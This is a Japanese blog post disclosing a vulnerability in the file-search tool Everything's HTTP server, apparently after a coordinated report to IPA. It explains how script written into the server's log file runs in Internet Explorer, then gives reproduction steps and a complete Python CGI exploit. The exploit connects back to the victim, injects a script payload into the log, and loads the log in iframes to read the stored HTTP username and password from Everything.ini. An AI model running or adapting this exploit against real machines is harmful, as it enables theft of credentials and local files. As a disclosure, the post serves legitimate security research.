「Everything」の脆弱性

昨年IPAに報告した「Everything」の脆弱性について、IPAに情報非開示依頼の取り下げを申請して認められたので、脆弱性関連情報を公開します。

EverythingのHTTPサーバーを有効にしていて、外部からアクセスできて、IEを使用していると、PC内の任意のファイルやファイルのリストを奪取される危険性があります。HTTPサーバーにパスワードが設定されていても攻撃は可能です。リモートから自宅のPCにアクセスする目的でEverythingを使用していると危険かもしれません。

解説

EverythingのHTTPサーバーを有効にするとPC内のファイルが、http://localhost/C%3A/Windows/〜 のようなURLで開けるようになる。HTTPサーバーに直接アクセス可能な場合は、スペースや改行を除いた任意の文字列をHTTPサーバーのログに書き込める。IEがHTMLだと認識するような文字列を書き込むことで、localhostで任意のスクリプトが実行できる。ちなみに、Everything 1.3.3.658bではブラウザからEverythingのログファイルが開けないようになっていた。

何が問題なのだろう? IPAには「Everythingが不適切なContent-type(Content-Type: file)を出力する」と報告したけど、考えてみればtext/plainでもIEスクリプトを実行するはず。ログは単なるテキストファイルだから、HTMLエスケープをする必要は無いと思う。そもそも、Everythingのログが使えなくても、他にリモートから来た情報を保存するファイルがあれば攻撃は可能。Content-Dispositionが付いてファイルがブラウザから見られなくなるのは不便。IEのせいな気もするけど、リモートから書き込み可能なHTMLファイルがあれば他のブラウザでも被害を受ける……。

発見の経緯

  1. EverythingのHTTPサーバーはPC内のファイルをブラウザで開いていて、IEはContent-typeを無視するから、PC内に悪意のあるJavaScriptを書き込めれば、それをiframeで開いて攻撃できるのでは?
  2. パスが既知で外部から任意のテキストを書き込めるなんて都合の良いファイルはあるのだろうか……。
  3. EverythingのHTTP_Server_Log.txtだ(・∀・)
  4. ブラウザからアクセスするとURLエンコードされてしまうけど、直接HTTPを叩けば<や>もログに書き込める(・∀・)

再現手順

  1. Everything 1.2.1.371を下記のいずれかのディレクトリにインストールする。
    • C:\Program Files (x86)\Everything\Logs
    • C:\Program Files\Everything\Logs
  2. Tools→Options→HTTP でUsernameとPasswordを設定する。ポートは80のまま。
  3. Tools→Start HTTP ServerでHTTPサーバーを立ち上げる。
  4. 80番ポートを開ける。
  5. IEhttp://localhost/を開き、ログインする。
  6. IEhttp://sanya.sweetduet.info/exploit/everything.pyを開く。
  7. 上手くいけば、Everythingのユーザー名とパスワードが表示されます。

Exploit(↑のeverything.py)

#!/usr/bin/python
# coding: utf-8

import cgi,cgitb,os,socket

payload = r"""
!function(){
    if(typeof attacked!="undefined")
        return;
    function attack(url){
        var x=XMLHttpRequest?(new XMLHttpRequest()):(new ActiveXObject('MSXML2.XMLHTTP.6.0'));
        x.open("GET",url);
        x.onreadystatechange=function(){
            if(x.readyState==4&&x.status==200){
                var t=x.responseText;
                alert(
                    t.match(/http_server_username=.*/)+"\n"+
                    t.match(/http_server_password=.*/));
            }
        };
        x.send();
    }
    attack("/C%3A/Program%20Files%20(x86)/Everything/Everything.ini");
    attack("/C%3A/Program%20Files/Everything/Everything.ini");
    attacked = true;
}();"""

# payloadをログに書けるように変換
payload = payload.replace("\n","")      # 改行を削除
payload = payload.replace("\t","")      # タブを削除
payload = payload.replace("\\",r"\\")   # \ → \\
payload = payload.replace(" ",r"\x20")  # " " → \x20
payload = payload.replace('"',r'\"')    # " → \"
payload = '<script>eval("%s");</script>'%payload

# 逆接続してログに書き込む
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10.)
    s.connect((os.environ["REMOTE_ADDR"],80))
    s.sendall("GET /%s HTTP/1.0\r\n\r\n"%payload)
    s.recv(0x10000)
except:
    pass

# ログファイルを読み込むHTMLを出力
print r"""Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html>
  <head>
    <title>Everything Exploit</title>
  </head>
  <body>
    <h1>Everything Exploit</h1>
    <div>
      <iframe src="http://localhost/C%3A/Program%20Files%20(x86)/Everything/Logs/HTTP_Server_Log.txt"></iframe>
      <iframe src="http://localhost/C%3A/Program%20Files/Everything/Logs/HTTP_Server_Log.txt"></iframe>
    </div>
  </body>
</html>
"""